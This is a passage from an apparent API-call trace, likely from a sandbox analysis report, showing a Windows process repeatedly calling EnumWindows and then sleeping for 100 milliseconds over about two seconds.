(dwMilliseconds=0x64) [0249.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.729] Sleep (dwMilliseconds=0x64) [0249.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.732] Sleep (dwMilliseconds=0x64) [0249.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.733] Sleep (dwMilliseconds=0x64) [0249.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.736] Sleep (dwMilliseconds=0x64) [0249.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.738] Sleep (dwMilliseconds=0x64) [0249.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.739] Sleep (dwMilliseconds=0x64) [0249.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.741] Sleep (dwMilliseconds=0x64) [0249.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.743] Sleep (dwMilliseconds=0x64) [0249.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.745] Sleep (dwMilliseconds=0x64) [0249.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.747] Sleep (dwMilliseconds=0x64) [0249.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.749] Sleep (dwMilliseconds=0x64) [0249.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.751] Sleep (dwMilliseconds=0x64) [0249.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.753] Sleep (dwMilliseconds=0x64) [0249.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.755] Sleep (dwMilliseconds=0x64) [0249.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.756] Sleep (dwMilliseconds=0x64) [0249.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.758] Sleep (dwMilliseconds=0x64) [0249.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.761] Sleep (dwMilliseconds=0x64) [0249.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.762] Sleep (dwMilliseconds=0x64) [0249.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.765] Sleep (dwMilliseconds=0x64) [0249.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.767] Sleep (dwMilliseconds=0x64) [0249.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.769] Sleep (dwMilliseconds=0x64) [0249.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.771] Sleep (dwMilliseconds=0x64) [0249.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.773] Sleep (dwMilliseconds=0x64) [0249.775] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.775] Sleep (dwMilliseconds=0x64) [0249.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.777] Sleep (dwMilliseconds=0x64) [0249.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.780] Sleep (dwMilliseconds=0x64) [0249.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.782] Sleep (dwMilliseconds=0x64) [0249.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.783] Sleep (dwMilliseconds=0x64) [0249.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.786] Sleep (dwMilliseconds=0x64) [0249.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.788] Sleep (dwMilliseconds=0x64) [0249.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.790] Sleep (dwMilliseconds=0x64) [0249.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.792] Sleep (dwMilliseconds=0x64) [0249.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.795] Sleep (dwMilliseconds=0x64) [0249.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.797] Sleep (dwMilliseconds=0x64) [0249.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.799] Sleep (dwMilliseconds=0x64) [0249.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.801] Sleep (dwMilliseconds=0x64) [0249.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.803] Sleep (dwMilliseconds=0x64) [0249.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.804] Sleep (dwMilliseconds=0x64) [0249.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.806] Sleep (dwMilliseconds=0x64) [0249.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.809] Sleep (dwMilliseconds=0x64) [0249.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.819] Sleep (dwMilliseconds=0x64) [0249.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.820] Sleep (dwMilliseconds=0x64) [0249.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.828] Sleep (dwMilliseconds=0x64) [0249.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.830] Sleep (dwMilliseconds=0x64) [0249.831] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.832] Sleep (dwMilliseconds=0x64) [0249.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.834] Sleep (dwMilliseconds=0x64) [0249.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.836] Sleep (dwMilliseconds=0x64) [0249.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.838] Sleep (dwMilliseconds=0x64) [0249.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.839] Sleep (dwMilliseconds=0x64) [0249.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.842] Sleep (dwMilliseconds=0x64) [0249.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.845] Sleep (dwMilliseconds=0x64) [0249.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.847] Sleep (dwMilliseconds=0x64) [0249.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.849] Sleep (dwMilliseconds=0x64) [0249.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.851] Sleep (dwMilliseconds=0x64) [0249.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.853] Sleep (dwMilliseconds=0x64) [0249.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.855] Sleep (dwMilliseconds=0x64) [0249.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.857] Sleep (dwMilliseconds=0x64) [0249.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.859] Sleep (dwMilliseconds=0x64) [0249.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.861] Sleep (dwMilliseconds=0x64) [0249.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.865] Sleep (dwMilliseconds=0x64) [0249.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.867] Sleep (dwMilliseconds=0x64) [0249.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.869] Sleep (dwMilliseconds=0x64) [0249.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.871] Sleep (dwMilliseconds=0x64) [0249.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.874] Sleep (dwMilliseconds=0x64) [0249.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.876] Sleep (dwMilliseconds=0x64) [0249.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.878] Sleep (dwMilliseconds=0x64) [0249.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.880] Sleep (dwMilliseconds=0x64) [0249.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.882] Sleep (dwMilliseconds=0x64) [0249.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.884] Sleep (dwMilliseconds=0x64) [0249.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.886] Sleep (dwMilliseconds=0x64) [0249.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.888] Sleep (dwMilliseconds=0x64) [0249.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.890] Sleep (dwMilliseconds=0x64) [0249.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.892] Sleep (dwMilliseconds=0x64) [0249.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.894] Sleep (dwMilliseconds=0x64) [0249.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.896] Sleep (dwMilliseconds=0x64) [0249.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.898] Sleep (dwMilliseconds=0x64) [0249.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.900] Sleep (dwMilliseconds=0x64) [0249.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.902] Sleep (dwMilliseconds=0x64) [0249.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.921] Sleep (dwMilliseconds=0x64) [0249.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.923] Sleep (dwMilliseconds=0x64) [0249.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.926] Sleep (dwMilliseconds=0x64) [0249.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.928] Sleep (dwMilliseconds=0x64) [0249.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.930] Sleep (dwMilliseconds=0x64) [0249.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.932] Sleep (dwMilliseconds=0x64) [0249.934] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.934] Sleep (dwMilliseconds=0x64) [0249.936] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.936] Sleep (dwMilliseconds=0x64) [0249.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.938] Sleep (dwMilliseconds=0x64) [0249.939] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.940] Sleep (dwMilliseconds=0x64) [0249.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.942] Sleep (dwMilliseconds=0x64) [0249.944] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.944] Sleep (dwMilliseconds=0x64) [0249.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.946] Sleep (dwMilliseconds=0x64) [0249.947] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.948] Sleep (dwMilliseconds=0x64) [0249.951] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.951] Sleep (dwMilliseconds=0x64) [0249.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.953] Sleep (dwMilliseconds=0x64) [0249.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.955] Sleep (dwMilliseconds=0x64) [0249.956] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.957] Sleep (dwMilliseconds=0x64) [0249.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.959] Sleep (dwMilliseconds=0x64) [0249.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.961] Sleep (dwMilliseconds=0x64) [0249.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.963] Sleep (dwMilliseconds=0x64) [0249.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.965] Sleep (dwMilliseconds=0x64) [0249.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.967] Sleep (dwMilliseconds=0x64) [0249.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.969] Sleep (dwMilliseconds=0x64) [0249.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.971] Sleep (dwMilliseconds=0x64) [0249.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.974] Sleep (dwMilliseconds=0x64) [0249.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.977] Sleep (dwMilliseconds=0x64) [0249.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.979] Sleep (dwMilliseconds=0x64) [0249.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.981] Sleep (dwMilliseconds=0x64) [0249.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.983] Sleep (dwMilliseconds=0x64) [0249.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.985] Sleep (dwMilliseconds=0x64) [0249.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.987] Sleep (dwMilliseconds=0x64) [0249.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.989] Sleep (dwMilliseconds=0x64) [0249.990] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.991] Sleep (dwMilliseconds=0x64) [0249.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.993] Sleep (dwMilliseconds=0x64) [0249.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.995] Sleep (dwMilliseconds=0x64) [0249.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.997] Sleep (dwMilliseconds=0x64) [0249.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.999] Sleep (dwMilliseconds=0x64) [0250.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.001] Sleep (dwMilliseconds=0x64) [0250.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.003] Sleep (dwMilliseconds=0x64) [0250.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.043] Sleep (dwMilliseconds=0x64) [0250.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.054] Sleep (dwMilliseconds=0x64) [0250.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.158] Sleep (dwMilliseconds=0x64) [0250.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.165] Sleep (dwMilliseconds=0x64) [0250.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.204] Sleep (dwMilliseconds=0x64) [0250.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.212] Sleep (dwMilliseconds=0x64) [0250.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.215] Sleep (dwMilliseconds=0x64) [0250.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.216] Sleep (dwMilliseconds=0x64) [0250.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.218] Sleep (dwMilliseconds=0x64) [0250.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.221] Sleep (dwMilliseconds=0x64) [0250.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.223] Sleep (dwMilliseconds=0x64) [0250.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.225] Sleep (dwMilliseconds=0x64) [0250.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.227] Sleep (dwMilliseconds=0x64) [0250.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.229] Sleep (dwMilliseconds=0x64) [0250.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.230] Sleep (dwMilliseconds=0x64) [0250.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.232] Sleep (dwMilliseconds=0x64) [0250.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.283] Sleep (dwMilliseconds=0x64) [0250.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.291] Sleep (dwMilliseconds=0x64) [0250.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.351] Sleep (dwMilliseconds=0x64) [0250.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.359] Sleep (dwMilliseconds=0x64) [0250.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.367] Sleep (dwMilliseconds=0x64) [0250.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.374] Sleep (dwMilliseconds=0x64) [0250.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.390] Sleep (dwMilliseconds=0x64) [0250.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.412] Sleep (dwMilliseconds=0x64) [0250.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.500] Sleep (dwMilliseconds=0x64) [0250.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.502] Sleep (dwMilliseconds=0x64) [0250.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.507] Sleep (dwMilliseconds=0x64) [0250.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.508] Sleep (dwMilliseconds=0x64) [0250.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.510] Sleep (dwMilliseconds=0x64) [0250.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.512] Sleep (dwMilliseconds=0x64) [0250.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.514] Sleep (dwMilliseconds=0x64) [0250.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.524] Sleep (dwMilliseconds=0x64) [0250.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.526] Sleep (dwMilliseconds=0x64) [0250.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.529] Sleep (dwMilliseconds=0x64) [0250.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.532] Sleep (dwMilliseconds=0x64) [0250.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.618] Sleep (dwMilliseconds=0x64) [0250.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.639] Sleep (dwMilliseconds=0x64) [0250.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.641] Sleep (dwMilliseconds=0x64) [0250.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.643] Sleep (dwMilliseconds=0x64) [0250.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.645] Sleep (dwMilliseconds=0x64) [0250.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.680] Sleep (dwMilliseconds=0x64) [0250.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.683] Sleep (dwMilliseconds=0x64) [0250.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.750] Sleep (dwMilliseconds=0x64) [0250.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.797] Sleep (dwMilliseconds=0x64) [0250.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.799] Sleep (dwMilliseconds=0x64) [0250.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.801] Sleep (dwMilliseconds=0x64) [0250.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.803] Sleep (dwMilliseconds=0x64) [0250.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.806] Sleep (dwMilliseconds=0x64) [0250.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.807] Sleep (dwMilliseconds=0x64) [0250.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.809] Sleep (dwMilliseconds=0x64) [0250.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.811] Sleep (dwMilliseconds=0x64) [0250.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.814] Sleep (dwMilliseconds=0x64) [0250.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.818] Sleep (dwMilliseconds=0x64) [0250.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.822] Sleep (dwMilliseconds=0x64) [0250.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.824] Sleep (dwMilliseconds=0x64) [0250.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.826] Sleep (dwMilliseconds=0x64) [0250.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.860] Sleep (dwMilliseconds=0x64) [0250.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.955] Sleep (dwMilliseconds=0x64) [0250.957] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.957] Sleep (dwMilliseconds=0x64) [0250.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.960] Sleep (dwMilliseconds=0x64) [0250.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.969] Sleep (dwMilliseconds=0x64) [0250.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.978] Sleep (dwMilliseconds=0x64) [0250.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.986] Sleep (dwMilliseconds=0x64) [0250.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0250.996] Sleep (dwMilliseconds=0x64) [0251.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.097] Sleep (dwMilliseconds=0x64) [0251.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.099] Sleep (dwMilliseconds=0x64) [0251.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.102] Sleep (dwMilliseconds=0x64) [0251.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.105] Sleep (dwMilliseconds=0x64) [0251.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.108] Sleep (dwMilliseconds=0x64) [0251.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.110] Sleep (dwMilliseconds=0x64) [0251.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.114] Sleep (dwMilliseconds=0x64) [0251.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.117] Sleep (dwMilliseconds=0x64) [0251.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.119] Sleep (dwMilliseconds=0x64) [0251.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.121] Sleep (dwMilliseconds=0x64) [0251.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.123] Sleep (dwMilliseconds=0x64) [0251.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.125] Sleep (dwMilliseconds=0x64) [0251.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.128] Sleep (dwMilliseconds=0x64) [0251.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.209] Sleep (dwMilliseconds=0x64) [0251.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.235] Sleep (dwMilliseconds=0x64) [0251.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.237] Sleep (dwMilliseconds=0x64) [0251.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.240] Sleep (dwMilliseconds=0x64) [0251.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.242] Sleep (dwMilliseconds=0x64) [0251.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.244] Sleep (dwMilliseconds=0x64) [0251.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.246] Sleep (dwMilliseconds=0x64) [0251.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.248] Sleep (dwMilliseconds=0x64) [0251.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.250] Sleep (dwMilliseconds=0x64) [0251.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.253] Sleep (dwMilliseconds=0x64) [0251.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.255] Sleep (dwMilliseconds=0x64) [0251.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.257] Sleep (dwMilliseconds=0x64) [0251.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.260] Sleep (dwMilliseconds=0x64) [0251.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.262] Sleep (dwMilliseconds=0x64) [0251.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.428] Sleep (dwMilliseconds=0x64) [0251.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.430] Sleep (dwMilliseconds=0x64) [0251.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.432] Sleep (dwMilliseconds=0x64) [0251.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.434] Sleep (dwMilliseconds=0x64) [0251.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.436] Sleep (dwMilliseconds=0x64) [0251.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.439] Sleep (dwMilliseconds=0x64) [0251.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.441] Sleep (dwMilliseconds=0x64) [0251.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.443] Sleep (dwMilliseconds=0x64) [0251.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.449] Sleep (dwMilliseconds=0x64) [0251.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.453] Sleep (dwMilliseconds=0x64) [0251.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.455] Sleep (dwMilliseconds=0x64) [0251.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.458] Sleep (dwMilliseconds=0x64) [0251.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.460] Sleep (dwMilliseconds=0x64) [0251.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.462] Sleep (dwMilliseconds=0x64) [0251.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.464] Sleep (dwMilliseconds=0x64) [0251.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.466] Sleep (dwMilliseconds=0x64) [0251.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.468] Sleep (dwMilliseconds=0x64) [0251.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.470] Sleep (dwMilliseconds=0x64) [0251.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.472] Sleep (dwMilliseconds=0x64) [0251.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.474] Sleep (dwMilliseconds=0x64) [0251.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.476] Sleep (dwMilliseconds=0x64) [0251.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.478] Sleep (dwMilliseconds=0x64) [0251.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.480] Sleep (dwMilliseconds=0x64) [0251.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.482] Sleep (dwMilliseconds=0x64) [0251.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.483] Sleep (dwMilliseconds=0x64) [0251.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.486] Sleep (dwMilliseconds=0x64) [0251.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.488] Sleep (dwMilliseconds=0x64) [0251.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.490] Sleep (dwMilliseconds=0x64) [0251.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.498] Sleep 